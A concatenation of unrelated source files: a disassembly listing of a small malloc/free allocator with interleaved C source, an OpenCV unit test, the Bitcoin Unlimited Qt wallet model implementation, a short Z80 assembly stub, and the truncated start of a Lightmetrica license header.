6a8: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6aa: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6ac: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6ae: 72 f0 jb 6a0 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6b0: 39 d0 cmp %edx,%eax
6b2: 72 f4 jb 6a8 <free+0x28>
6b4: 39 d1 cmp %edx,%ecx
6b6: 73 f0 jae 6a8 <free+0x28>
6b8: 90 nop
6b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
6c0: 8b 73 fc mov -0x4(%ebx),%esi
6c3: 8d 3c f1 lea (%ecx,%esi,8),%edi
6c6: 39 d7 cmp %edx,%edi
6c8: 74 19 je 6e3 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
6ca: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6cd: 8b 50 04 mov 0x4(%eax),%edx
6d0: 8d 34 d0 lea (%eax,%edx,8),%esi
6d3: 39 f1 cmp %esi,%ecx
6d5: 74 23 je 6fa <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
6d7: 89 08 mov %ecx,(%eax)
freep = p;
6d9: a3 d0 0a 00 00 mov %eax,0xad0
}
6de: 5b pop %ebx
6df: 5e pop %esi
6e0: 5f pop %edi
6e1: 5d pop %ebp
6e2: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
6e3: 03 72 04 add 0x4(%edx),%esi
6e6: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
6e9: 8b 10 mov (%eax),%edx
6eb: 8b 12 mov (%edx),%edx
6ed: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
6f0: 8b 50 04 mov 0x4(%eax),%edx
6f3: 8d 34 d0 lea (%eax,%edx,8),%esi
6f6: 39 f1 cmp %esi,%ecx
6f8: 75 dd jne 6d7 <free+0x57>
p->s.size += bp->s.size;
6fa: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
6fd: a3 d0 0a 00 00 mov %eax,0xad0
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
702: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
705: 8b 53 f8 mov -0x8(%ebx),%edx
708: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
70a: 5b pop %ebx
70b: 5e pop %esi
70c: 5f pop %edi
70d: 5d pop %ebp
70e: c3 ret
70f: 90 nop
00000710 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
710: 55 push %ebp
711: 89 e5 mov %esp,%ebp
713: 57 push %edi
714: 56 push %esi
715: 53 push %ebx
716: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
719: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
71c: 8b 15 d0 0a 00 00 mov 0xad0,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
722: 8d 78 07 lea 0x7(%eax),%edi
725: c1 ef 03 shr $0x3,%edi
728: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
72b: 85 d2 test %edx,%edx
72d: 0f 84 a3 00 00 00 je 7d6 <malloc+0xc6>
733: 8b 02 mov (%edx),%eax
735: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
738: 39 cf cmp %ecx,%edi
73a: 76 74 jbe 7b0 <malloc+0xa0>
73c: 81 ff 00 10 00 00 cmp $0x1000,%edi
742: be 00 10 00 00 mov $0x1000,%esi
747: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
74e: 0f 43 f7 cmovae %edi,%esi
751: ba 00 80 00 00 mov $0x8000,%edx
756: 81 ff ff 0f 00 00 cmp $0xfff,%edi
75c: 0f 46 da cmovbe %edx,%ebx
75f: eb 10 jmp 771 <malloc+0x61>
761: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
768: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
76a: 8b 48 04 mov 0x4(%eax),%ecx
76d: 39 cf cmp %ecx,%edi
76f: 76 3f jbe 7b0 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
771: 39 05 d0 0a 00 00 cmp %eax,0xad0
777: 89 c2 mov %eax,%edx
779: 75 ed jne 768 <malloc+0x58>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
77b: 83 ec 0c sub $0xc,%esp
77e: 53 push %ebx
77f: e8 86 fc ff ff call 40a <sbrk>
if(p == (char*)-1)
784: 83 c4 10 add $0x10,%esp
787: 83 f8 ff cmp $0xffffffff,%eax
78a: 74 1c je 7a8 <malloc+0x98>
return 0;
hp = (Header*)p;
hp->s.size = nu;
78c: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
78f: 83 ec 0c sub $0xc,%esp
792: 83 c0 08 add $0x8,%eax
795: 50 push %eax
796: e8 e5 fe ff ff call 680 <free>
return freep;
79b: 8b 15 d0 0a 00 00 mov 0xad0,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
7a1: 83 c4 10 add $0x10,%esp
7a4: 85 d2 test %edx,%edx
7a6: 75 c0 jne 768 <malloc+0x58>
return 0;
7a8: 31 c0 xor %eax,%eax
7aa: eb 1c jmp 7c8 <malloc+0xb8>
7ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
7b0: 39 cf cmp %ecx,%edi
7b2: 74 1c je 7d0 <malloc+0xc0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
7b4: 29 f9 sub %edi,%ecx
7b6: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
7b9: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
7bc: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
7bf: 89 15 d0 0a 00 00 mov %edx,0xad0
return (void*)(p + 1);
7c5: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
7c8: 8d 65 f4 lea -0xc(%ebp),%esp
7cb: 5b pop %ebx
7cc: 5e pop %esi
7cd: 5f pop %edi
7ce: 5d pop %ebp
7cf: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
7d0: 8b 08 mov (%eax),%ecx
7d2: 89 0a mov %ecx,(%edx)
7d4: eb e9 jmp 7bf <malloc+0xaf>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
7d6: c7 05 d0 0a 00 00 d4 movl $0xad4,0xad0
7dd: 0a 00 00
7e0: c7 05 d4 0a 00 00 d4 movl $0xad4,0xad4
7e7: 0a 00 00
base.s.size = 0;
7ea: b8 d4 0a 00 00 mov $0xad4,%eax
7ef: c7 05 d8 0a 00 00 00 movl $0x0,0xad8
7f6: 00 00 00
7f9: e9 3e ff ff ff jmp 73c <malloc+0x2c>
|
#include <boost/geometry/strategies/cartesian/disjoint_segment_box.hpp>
|
// This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#include "test_precomp.hpp"
namespace opencv_test { namespace {
/**
* Tests whether cvv::debugMode() and cvv::setDebugFlag(bool)`
* (from /include/opencv2/debug_mode.hpp) behave correctly.
*/
TEST(DebugFlagTest, SetAndUnsetDebugMode)
{
EXPECT_EQ(cvv::debugMode(), true);
cvv::setDebugFlag(false);
EXPECT_EQ(cvv::debugMode(), false);
cvv::setDebugFlag(true);
EXPECT_EQ(cvv::debugMode(), true);
}
}} // namespace
|
// Copyright (c) 2011-2015 The Bitcoin Core developers
// Copyright (c) 2015-2020 The Bitcoin Unlimited developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "walletmodel.h"
#include "addresstablemodel.h"
#include "guiconstants.h"
#include "guiutil.h"
#include "paymentserver.h"
#include "recentrequeststablemodel.h"
#include "transactiontablemodel.h"
#include "dstencode.h"
#include "keystore.h"
#include "main.h"
#include "sync.h"
#include "ui_interface.h"
#include "wallet/wallet.h"
#include "wallet/walletdb.h" // for BackupWallet
#include <stdint.h>
#include <QDebug>
#include <QSet>
#include <QTimer>
WalletModel::WalletModel(const PlatformStyle *platformStyle,
CWallet *_wallet,
OptionsModel *_optionsModel,
QObject *parent)
: QObject(parent), wallet(_wallet), optionsModel(_optionsModel), addressTableModel(0), transactionTableModel(0),
recentRequestsTableModel(0), cachedBalance(0), cachedUnconfirmedBalance(0), cachedImmatureBalance(0),
cachedEncryptionStatus(Unencrypted), cachedNumBlocks(0)
{
fHaveWatchOnly = wallet->HaveWatchOnly() || getWatchBalance() > 0;
fForceCheckBalanceChanged = false;
addressTableModel = new AddressTableModel(wallet, this);
transactionTableModel = new TransactionTableModel(platformStyle, wallet, this);
recentRequestsTableModel = new RecentRequestsTableModel(wallet, this);
// This timer will be fired repeatedly to update the balance
pollTimer = new QTimer(this);
connect(pollTimer, SIGNAL(timeout()), this, SLOT(pollBalanceChanged()));
pollTimer->start(MODEL_UPDATE_DELAY1);
subscribeToCoreSignals();
}
WalletModel::~WalletModel() { unsubscribeFromCoreSignals(); }
CAmount WalletModel::getBalance(const CCoinControl *coinControl) const
{
if (coinControl)
{
CAmount nBalance = 0;
std::vector<COutput> vCoins;
wallet->AvailableCoins(vCoins, true, coinControl);
for (const COutput &out : vCoins)
if (out.fSpendable)
nBalance += out.tx->vout[out.i].nValue;
return nBalance;
}
return wallet->GetBalance();
}
CAmount WalletModel::getUnconfirmedBalance() const { return wallet->GetUnconfirmedBalance(); }
CAmount WalletModel::getImmatureBalance() const { return wallet->GetImmatureBalance(); }
bool WalletModel::haveWatchOnly() const { return fHaveWatchOnly; }
CAmount WalletModel::getWatchBalance() const { return wallet->GetWatchOnlyBalance(); }
CAmount WalletModel::getWatchUnconfirmedBalance() const { return wallet->GetUnconfirmedWatchOnlyBalance(); }
CAmount WalletModel::getWatchImmatureBalance() const { return wallet->GetImmatureWatchOnlyBalance(); }
void WalletModel::updateStatus()
{
EncryptionStatus newEncryptionStatus = getEncryptionStatus();
if (cachedEncryptionStatus != newEncryptionStatus)
Q_EMIT encryptionStatusChanged(newEncryptionStatus);
}
void WalletModel::pollBalanceChanged()
{
// Get required locks upfront. This avoids the GUI from getting stuck on
// periodical polls if the core is holding the locks for a longer time -
// for example, during a wallet rescan.
TRY_LOCK(cs_main, lockMain);
if (!lockMain)
return;
TRY_LOCK(wallet->cs_wallet, lockWallet);
if (!lockWallet)
return;
if (fForceCheckBalanceChanged || chainActive.Height() != cachedNumBlocks)
{
fForceCheckBalanceChanged = false;
// Balance and number of transactions might have changed
cachedNumBlocks = chainActive.Height();
checkBalanceChanged();
if (transactionTableModel)
transactionTableModel->updateConfirmations();
}
}
void WalletModel::checkBalanceChanged()
{
CAmount newBalance = getBalance();
CAmount newUnconfirmedBalance = getUnconfirmedBalance();
CAmount newImmatureBalance = getImmatureBalance();
CAmount newWatchOnlyBalance = 0;
CAmount newWatchUnconfBalance = 0;
CAmount newWatchImmatureBalance = 0;
if (haveWatchOnly())
{
newWatchOnlyBalance = getWatchBalance();
newWatchUnconfBalance = getWatchUnconfirmedBalance();
newWatchImmatureBalance = getWatchImmatureBalance();
}
if (cachedBalance != newBalance || cachedUnconfirmedBalance != newUnconfirmedBalance ||
cachedImmatureBalance != newImmatureBalance || cachedWatchOnlyBalance != newWatchOnlyBalance ||
cachedWatchUnconfBalance != newWatchUnconfBalance || cachedWatchImmatureBalance != newWatchImmatureBalance)
{
cachedBalance = newBalance;
cachedUnconfirmedBalance = newUnconfirmedBalance;
cachedImmatureBalance = newImmatureBalance;
cachedWatchOnlyBalance = newWatchOnlyBalance;
cachedWatchUnconfBalance = newWatchUnconfBalance;
cachedWatchImmatureBalance = newWatchImmatureBalance;
Q_EMIT balanceChanged(newBalance, newUnconfirmedBalance, newImmatureBalance, newWatchOnlyBalance,
newWatchUnconfBalance, newWatchImmatureBalance);
}
}
void WalletModel::updateTransaction()
{
// Balance and number of transactions might have changed
fForceCheckBalanceChanged = true;
}
void WalletModel::updateAddressBook(const QString &address,
const QString &label,
bool isMine,
const QString &purpose,
int status)
{
if (addressTableModel)
addressTableModel->updateEntry(address, label, isMine, purpose, status);
}
void WalletModel::updateWatchOnlyFlag(bool fHaveWatchonly)
{
fHaveWatchOnly = fHaveWatchonly;
Q_EMIT notifyWatchonlyChanged(fHaveWatchonly);
}
bool WalletModel::validateAddress(const QString &address) { return IsValidDestinationString(address.toStdString()); }
WalletModel::SendCoinsReturn WalletModel::prepareTransaction(WalletModelTransaction &transaction,
const CCoinControl *coinControl)
{
CAmount total = 0;
bool fSubtractFeeFromAmount = false;
QList<SendCoinsRecipient> recipients = transaction.getRecipients();
std::vector<CRecipient> vecSend;
if (recipients.empty())
{
return OK;
}
QSet<QString> setAddress; // Used to detect duplicates
int nAddresses = 0;
// Pre-check input data for validity
Q_FOREACH (const SendCoinsRecipient &rcp, recipients)
{
if (rcp.fSubtractFeeFromAmount)
fSubtractFeeFromAmount = true;
if (rcp.paymentRequest.IsInitialized())
{ // PaymentRequest...
CAmount subtotal = 0;
const payments::PaymentDetails &details = rcp.paymentRequest.getDetails();
for (int i = 0; i < details.outputs_size(); i++)
{
const payments::Output &out = details.outputs(i);
if (out.amount() <= 0)
continue;
subtotal += out.amount();
const unsigned char *scriptStr = (const unsigned char *)out.script().data();
CScript scriptPubKey(scriptStr, scriptStr + out.script().size());
CAmount nAmount = out.amount();
CRecipient recipient = {scriptPubKey, nAmount, rcp.fSubtractFeeFromAmount};
vecSend.push_back(recipient);
}
if (subtotal <= 0)
{
return InvalidAmount;
}
total += subtotal;
}
else
{ // User-entered bitcoin address / amount:
if (!validateAddress(rcp.address))
{
return InvalidAddress;
}
if (rcp.amount <= 0 && rcp.labelPublic == "")
{
return InvalidAmount;
}
setAddress.insert(rcp.address);
++nAddresses;
CScript scriptPubKey;
if (rcp.labelPublic == "")
scriptPubKey = GetScriptForDestination(DecodeDestination(rcp.address.toStdString()));
else
{
scriptPubKey = GetScriptLabelPublic(rcp.labelPublic.toStdString());
// remove duplicate address as rcp.adddress was copied in SendCoinsDialog::on_sendButton_clicked()
--nAddresses;
// Make sure scriptPubKey is within size constraints and that we are configured
// to foward OP_RETURN transactions.
if (!fAcceptDatacarrier || scriptPubKey.size() > nMaxDatacarrierBytes)
return LabelPublicExceedsLimits;
}
CRecipient recipient = {scriptPubKey, rcp.amount, rcp.fSubtractFeeFromAmount};
vecSend.push_back(recipient);
total += rcp.amount;
}
}
if (setAddress.size() != nAddresses)
{
return DuplicateAddress;
}
CAmount nBalance = getBalance(coinControl);
if (total > nBalance)
{
return AmountExceedsBalance;
}
{
LOCK2(cs_main, wallet->cs_wallet);
transaction.newPossibleKeyChange(wallet);
CAmount nFeeRequired = 0;
int nChangePosRet = -1;
std::string strFailReason;
CWalletTx *newTx = transaction.getTransaction();
CReserveKey *keyChange = transaction.getPossibleKeyChange();
bool fCreated = wallet->CreateTransaction(
vecSend, *newTx, *keyChange, nFeeRequired, nChangePosRet, strFailReason, coinControl);
transaction.setTransactionFee(nFeeRequired);
if (fSubtractFeeFromAmount && fCreated)
transaction.reassignAmounts(nChangePosRet);
if (!fCreated)
{
if (!fSubtractFeeFromAmount && (total + nFeeRequired) > nBalance)
{
return SendCoinsReturn(AmountWithFeeExceedsBalance);
}
Q_EMIT message(tr("Send Coins"), QString::fromStdString(strFailReason), CClientUIInterface::MSG_ERROR);
return TransactionCreationFailed;
}
// reject absurdly high fee. (This can never happen because the
// wallet caps the fee at maxTxFee. This merely serves as a
// belt-and-suspenders check)
if (nFeeRequired > maxTxFee.Value())
return AbsurdFee;
}
return SendCoinsReturn(OK);
}
WalletModel::SendCoinsReturn WalletModel::sendCoins(WalletModelTransaction &transaction)
{
QByteArray transaction_array; /* store serialized transaction */
{
LOCK2(cs_main, wallet->cs_wallet);
CWalletTx *newTx = transaction.getTransaction();
Q_FOREACH (const SendCoinsRecipient &rcp, transaction.getRecipients())
{
if (rcp.paymentRequest.IsInitialized())
{
// Make sure any payment requests involved are still valid.
if (PaymentServer::verifyExpired(rcp.paymentRequest.getDetails()))
{
return PaymentRequestExpired;
}
// Store PaymentRequests in wtx.vOrderForm in wallet.
std::string key("PaymentRequest");
std::string value;
rcp.paymentRequest.SerializeToString(&value);
newTx->vOrderForm.push_back(make_pair(key, value));
}
else if (!rcp.message.isEmpty())
{
// Message from normal bitcoincash:URI
// (bitcoincash:123...?message=example)
newTx->vOrderForm.push_back(make_pair("Message", rcp.message.toStdString()));
}
else if (!rcp.message.isEmpty()) // Message from normal bitcoin:URI (bitcoin:123...?message=example)
newTx->vOrderForm.push_back(make_pair("Message", rcp.message.toStdString()));
}
CReserveKey *keyChange = transaction.getPossibleKeyChange();
if (!wallet->CommitTransaction(*newTx, *keyChange))
return TransactionCommitFailed;
CTransaction *t = (CTransaction *)newTx;
CDataStream ssTx(SER_NETWORK, PROTOCOL_VERSION);
ssTx << *t;
transaction_array.append(&(ssTx[0]), ssTx.size());
}
// Add addresses / update labels that we've sent to the address book,
// and emit coinsSent signal for each recipient
Q_FOREACH (const SendCoinsRecipient &rcp, transaction.getRecipients())
{
// Set have watch only flag to true if sending to a coin freeze address
if (!rcp.freezeLockTime.isEmpty())
this->updateWatchOnlyFlag(true);
// Don't touch the address book when we have a payment request
if (!rcp.paymentRequest.IsInitialized())
{
std::string strAddress = rcp.address.toStdString();
CTxDestination dest = DecodeDestination(strAddress);
std::string strLabel = rcp.label.toStdString();
{
LOCK(wallet->cs_wallet);
std::map<CTxDestination, CAddressBookData>::iterator mi = wallet->mapAddressBook.find(dest);
// Check if we have a new address or an updated label
if (mi == wallet->mapAddressBook.end())
{
wallet->SetAddressBook(dest, strLabel, "send");
}
else if (mi->second.name != strLabel)
{
wallet->SetAddressBook(dest, strLabel, ""); // "" means don't change purpose
}
}
}
Q_EMIT coinsSent(wallet, rcp, transaction_array);
}
// update balance immediately, otherwise there could be a short noticeable delay until pollBalanceChanged hits
checkBalanceChanged();
return SendCoinsReturn(OK);
}
OptionsModel *WalletModel::getOptionsModel() { return optionsModel; }
AddressTableModel *WalletModel::getAddressTableModel() { return addressTableModel; }
TransactionTableModel *WalletModel::getTransactionTableModel() { return transactionTableModel; }
RecentRequestsTableModel *WalletModel::getRecentRequestsTableModel() { return recentRequestsTableModel; }
WalletModel::EncryptionStatus WalletModel::getEncryptionStatus() const
{
if (!wallet->IsCrypted())
{
return Unencrypted;
}
else if (wallet->IsLocked())
{
return Locked;
}
else
{
return Unlocked;
}
}
bool WalletModel::setWalletEncrypted(bool encrypted, const SecureString &passphrase)
{
if (encrypted)
{
// Encrypt
return wallet->EncryptWallet(passphrase);
}
else
{
// Decrypt -- TODO; not supported yet
return false;
}
}
bool WalletModel::setWalletLocked(bool locked, const SecureString &passPhrase)
{
if (locked)
{
// Lock
return wallet->Lock();
}
else
{
// Unlock
return wallet->Unlock(passPhrase);
}
}
bool WalletModel::changePassphrase(const SecureString &oldPass, const SecureString &newPass)
{
bool retval;
{
LOCK(wallet->cs_wallet);
wallet->Lock(); // Make sure wallet is locked before attempting pass change
retval = wallet->ChangeWalletPassphrase(oldPass, newPass);
}
return retval;
}
bool WalletModel::backupWallet(const QString &filename) { return BackupWallet(*wallet, filename.toLocal8Bit().data()); }
// Handlers for core signals
static void NotifyKeyStoreStatusChanged(WalletModel *walletmodel, CCryptoKeyStore *wallet)
{
qDebug() << "NotifyKeyStoreStatusChanged";
QMetaObject::invokeMethod(walletmodel, "updateStatus", Qt::QueuedConnection);
}
static void NotifyAddressBookChanged(WalletModel *walletmodel,
CWallet *wallet,
const CTxDestination &address,
const std::string &label,
bool isMine,
const std::string &purpose,
ChangeType status)
{
QString strAddress = QString::fromStdString(EncodeDestination(address));
QString strLabel = QString::fromStdString(label);
QString strPurpose = QString::fromStdString(purpose);
qDebug() << "NotifyAddressBookChanged: " + strAddress + " " + strLabel + " isMine=" + QString::number(isMine) +
" purpose=" + strPurpose + " status=" + QString::number(status);
QMetaObject::invokeMethod(walletmodel, "updateAddressBook", Qt::QueuedConnection, Q_ARG(QString, strAddress),
Q_ARG(QString, strLabel), Q_ARG(bool, isMine), Q_ARG(QString, strPurpose), Q_ARG(int, status));
}
static void NotifyTransactionChanged(WalletModel *walletmodel, CWallet *wallet, const uint256 &hash, ChangeType status)
{
Q_UNUSED(wallet);
Q_UNUSED(hash);
Q_UNUSED(status);
QMetaObject::invokeMethod(walletmodel, "updateTransaction", Qt::QueuedConnection);
}
static void ShowProgress(WalletModel *walletmodel, const std::string &title, int nProgress)
{
// emits signal "showProgress"
QMetaObject::invokeMethod(walletmodel, "showProgress", Qt::QueuedConnection,
Q_ARG(QString, QString::fromStdString(title)), Q_ARG(int, nProgress));
}
static void NotifyWatchonlyChanged(WalletModel *walletmodel, bool fHaveWatchonly)
{
QMetaObject::invokeMethod(walletmodel, "updateWatchOnlyFlag", Qt::QueuedConnection, Q_ARG(bool, fHaveWatchonly));
}
void WalletModel::subscribeToCoreSignals()
{
// Connect signals to wallet
wallet->NotifyStatusChanged.connect(boost::bind(&NotifyKeyStoreStatusChanged, this, boost::arg<1>()));
wallet->NotifyAddressBookChanged.connect(boost::bind(NotifyAddressBookChanged, this, boost::arg<1>(),
boost::arg<2>(), boost::arg<3>(), boost::arg<4>(), boost::arg<5>(), boost::arg<6>()));
wallet->NotifyTransactionChanged.connect(
boost::bind(NotifyTransactionChanged, this, boost::arg<1>(), boost::arg<2>(), boost::arg<3>()));
wallet->ShowProgress.connect(boost::bind(ShowProgress, this, boost::arg<1>(), boost::arg<2>()));
wallet->NotifyWatchonlyChanged.connect(boost::bind(NotifyWatchonlyChanged, this, boost::arg<1>()));
}
void WalletModel::unsubscribeFromCoreSignals()
{
// Disconnect signals from wallet
wallet->NotifyStatusChanged.disconnect(boost::bind(&NotifyKeyStoreStatusChanged, this, boost::arg<1>()));
wallet->NotifyAddressBookChanged.disconnect(boost::bind(NotifyAddressBookChanged, this, boost::arg<1>(),
boost::arg<2>(), boost::arg<3>(), boost::arg<4>(), boost::arg<5>(), boost::arg<6>()));
wallet->NotifyTransactionChanged.disconnect(
boost::bind(NotifyTransactionChanged, this, boost::arg<1>(), boost::arg<2>(), boost::arg<3>()));
wallet->ShowProgress.disconnect(boost::bind(ShowProgress, this, boost::arg<1>(), boost::arg<1>()));
wallet->NotifyWatchonlyChanged.disconnect(boost::bind(NotifyWatchonlyChanged, this, boost::arg<1>()));
}
// WalletModel::UnlockContext implementation
WalletModel::UnlockContext WalletModel::requestUnlock()
{
bool was_locked = getEncryptionStatus() == Locked;
if (was_locked)
{
// Request UI to unlock wallet
Q_EMIT requireUnlock();
}
// If wallet is still locked, unlock was failed or cancelled, mark context as invalid
bool valid = getEncryptionStatus() != Locked;
return UnlockContext(this, valid, was_locked);
}
WalletModel::UnlockContext::UnlockContext(WalletModel *_wallet, bool _valid, bool _relock)
: wallet(_wallet), valid(_valid), relock(_relock)
{
}
WalletModel::UnlockContext::~UnlockContext()
{
if (valid && relock)
{
wallet->setWalletLocked(true);
}
}
void WalletModel::UnlockContext::CopyFrom(const UnlockContext &rhs)
{
// Transfer context; old object no longer relocks wallet
*this = rhs;
rhs.relock = false;
}
bool WalletModel::getPubKey(const CKeyID &address, CPubKey &vchPubKeyOut) const
{
return wallet->GetPubKey(address, vchPubKeyOut);
}
bool WalletModel::IsSpendable(const CTxDestination &dest) const { return wallet->IsMine(dest) & ISMINE_SPENDABLE; }
// returns a list of COutputs from COutPoints
void WalletModel::getOutputs(const std::vector<COutPoint> &vOutpoints, std::vector<COutput> &vOutputs)
{
LOCK2(cs_main, wallet->cs_wallet);
for (const COutPoint &outpoint : vOutpoints)
{
if (!wallet->mapWallet.count(outpoint.hash))
continue;
int nDepth = wallet->mapWallet[outpoint.hash].GetDepthInMainChain();
if (nDepth < 0)
continue;
COutput out(&wallet->mapWallet[outpoint.hash], outpoint.n, nDepth, true);
vOutputs.push_back(out);
}
}
bool WalletModel::isSpent(const COutPoint &outpoint) const
{
LOCK2(cs_main, wallet->cs_wallet);
return wallet->IsSpent(outpoint.hash, outpoint.n);
}
// AvailableCoins + LockedCoins grouped by wallet address (put change in one group with wallet address)
void WalletModel::listCoins(std::map<QString, std::vector<COutput> > &mapCoins) const
{
std::vector<COutput> vCoins;
wallet->AvailableCoins(vCoins);
LOCK2(cs_main, wallet->cs_wallet); // ListLockedCoins, mapWallet
std::vector<COutPoint> vLockedCoins;
wallet->ListLockedCoins(vLockedCoins);
// add locked coins
for (const COutPoint &outpoint : vLockedCoins)
{
if (!wallet->mapWallet.count(outpoint.hash))
continue;
int nDepth = wallet->mapWallet[outpoint.hash].GetDepthInMainChain();
if (nDepth < 0)
continue;
COutput out(&wallet->mapWallet[outpoint.hash], outpoint.n, nDepth, true);
if (outpoint.n < out.tx->vout.size() && wallet->IsMine(out.tx->vout[outpoint.n]) == ISMINE_SPENDABLE)
vCoins.push_back(out);
}
for (const COutput &out : vCoins)
{
COutput cout = out;
while (wallet->IsChange(cout.tx->vout[cout.i]) && cout.tx->vin.size() > 0 && wallet->IsMine(cout.tx->vin[0]))
{
if (!wallet->mapWallet.count(cout.tx->vin[0].prevout.hash))
break;
cout = COutput(&wallet->mapWallet[cout.tx->vin[0].prevout.hash], cout.tx->vin[0].prevout.n, 0, true);
}
CTxDestination address;
if (!out.fSpendable || !ExtractDestination(cout.tx->vout[cout.i].scriptPubKey, address))
continue;
mapCoins[QString::fromStdString(EncodeDestination(address))].push_back(out);
}
}
bool WalletModel::isLockedCoin(uint256 hash, unsigned int n) const
{
LOCK2(cs_main, wallet->cs_wallet);
return wallet->IsLockedCoin(hash, n);
}
void WalletModel::lockCoin(COutPoint &output)
{
LOCK2(cs_main, wallet->cs_wallet);
wallet->LockCoin(output);
}
void WalletModel::unlockCoin(COutPoint &output)
{
LOCK2(cs_main, wallet->cs_wallet);
wallet->UnlockCoin(output);
}
void WalletModel::listLockedCoins(std::vector<COutPoint> &vOutpts)
{
LOCK2(cs_main, wallet->cs_wallet);
wallet->ListLockedCoins(vOutpts);
}
void WalletModel::loadReceiveRequests(std::vector<std::string> &vReceiveRequests)
{
LOCK(wallet->cs_wallet);
for (const PAIRTYPE(CTxDestination, CAddressBookData) & item : wallet->mapAddressBook)
for (const PAIRTYPE(std::string, std::string) & item2 : item.second.destdata)
if (item2.first.size() > 2 && item2.first.substr(0, 2) == "rr") // receive request
vReceiveRequests.push_back(item2.second);
}
bool WalletModel::saveReceiveRequest(const std::string &sAddress, const int64_t nId, const std::string &sRequest)
{
CTxDestination dest = DecodeDestination(sAddress);
std::stringstream ss;
ss << nId;
std::string key = "rr" + ss.str(); // "rr" prefix = "receive request" in destdata
LOCK(wallet->cs_wallet);
if (sRequest.empty())
return wallet->EraseDestData(dest, key);
else
return wallet->AddDestData(dest, key, sRequest);
}
bool WalletModel::hdEnabled() const { return wallet->IsHDEnabled(); }
|
; void *tshr_cxy2saddr(uchar x, uchar y)
SECTION code_clib
SECTION code_arch
PUBLIC _tshr_cxy2saddr_callee
EXTERN asm_zx_cxy2saddr
_tshr_cxy2saddr_callee:
pop hl
ex (sp),hl
jp asm_zx_cxy2saddr
|
/*
Lightmetrica - A modern, research-oriented renderer
Copyright (c) 2015 Hisanari Otsu
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
